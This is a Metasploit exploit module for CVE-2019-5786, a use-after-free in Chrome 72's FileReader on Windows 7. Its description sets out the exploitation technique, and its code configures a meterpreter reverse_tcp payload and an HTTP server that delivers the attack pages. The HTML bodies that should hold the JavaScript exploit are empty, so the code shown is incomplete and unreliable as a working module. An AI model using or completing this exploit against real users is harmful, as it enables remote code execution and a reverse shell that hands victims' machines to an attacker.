## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Chrome 72.0.3626.119 FileReader UaF exploit for Windows 7 x86', 'Description' => %q{ This exploit takes advantage of a use after free vulnerability in Google Chrome 72.0.3626.119 running on Windows 7 x86. The FileReader.readAsArrayBuffer function can return multiple references to the same ArrayBuffer object, which can be freed and overwritten with sprayed objects. The dangling ArrayBuffer reference can be used to access the sprayed objects, allowing arbitrary memory access from Javascript. This is used to write and execute shellcode in a WebAssembly object. The shellcode is executed within the Chrome sandbox, so you must explicitly disable the sandbox for the payload to be successful. }, 'License' => MSF_LICENSE, 'Author' => [ 'Clement Lecigne', # discovery 'István Kurucsai', # Exodus Intel 'timwr', # metasploit module ], 'References' => [ ['CVE', '2019-5786'], ['URL', 'https://github.com/exodusintel/CVE-2019-5786'], ['URL', 'https://blog.exodusintel.com/2019/03/20/cve-2019-5786-analysis-and-exploitation/'], ['URL', 'https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analysis-of-a-chrome-zero-day-cve-2019-5786/'], ['URL', 'https://security.googleblog.com/2019/03/disclosing-vulnerabilities-to-protect.html'], ], 'Arch' => [ ARCH_X86 ], 'Platform' => 'windows', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }, 'Targets' => [ [ 'Automatic', { } ] ], 'DisclosureDate' => 'Mar 21 2019')) end def on_request_uri(cli, request) print_status("Sending #{request.uri}") if request.uri =~ %r{/exploit.html$} html = %Q^ ^ send_response(cli, html) elsif request.uri =~ %r{/worker.js$} send_response(cli, 'onmessage = function (msg) { }') else uripath = datastore['URIPATH'] || get_resource uripath += '/' unless uripath.end_with? '/' html = %Q^ ^ send_response(cli, html) end end end